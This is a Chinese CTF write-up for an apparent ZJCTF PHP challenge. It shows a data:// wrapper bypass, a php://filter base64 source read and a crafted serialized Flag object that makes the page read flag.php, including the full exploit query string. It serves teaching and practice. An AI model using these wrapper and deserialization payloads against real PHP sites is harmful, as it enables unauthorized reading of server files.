php伪协议知识点总结:php伪协议 - single-dog - 博客园
使用data伪协议绕过圆括号、反引号被过滤_梦梦梦·的博客-CSDN博客_data伪协议
首先是代码审计;
传入三个参数。text文本,file文件,password;
第一关是,text传入文本形式可以使用PHP伪协议中的data协议:data://text/plain,<文本>
构造:
text=data://text/plain,welcome to the zjctf
说明text传参正确;第二关对file进行绕过;file里面不能含有/flag/字样;然后提示说有useless.php;如果直接file=useless.php是没有结果的,看到include<file>想到文件包含漏洞,然后就会想到用filter伪协议进行读取内容;那么使用伪协议php://filter 构造:
file=php://filter/read=convert.base64-encode/resource=useless.php
base64编码解码
将flag调用,然后给里面file值赋值为flag.php。就可输出flag.php里面的内容;
当然还要序列化后传入password
对password序列化就要写代码:
<?phpclass Flag{ //flag.php public $file="flag.php"; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("U R SO CLOSE !///COME ON PLZ");} }
}
$password = new Flag();
echo urlencode(serialize($password));
?>
输出结果:这里使用了 URL编码,可以直接使用;不编码是这样的:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
反序列漏洞这里有个考点,关于wake_up()函数,将参数加大就可以绕过;
O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
然后构造完整的payload:
?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O%3A4%3A"Flag"%3A1%3A%7Bs%3A4%3A"file"%3Bs%3A8%3A"flag.php"%3B%7D
这里有个细节,完整的payload里面的file不需要再用php://filter协议了;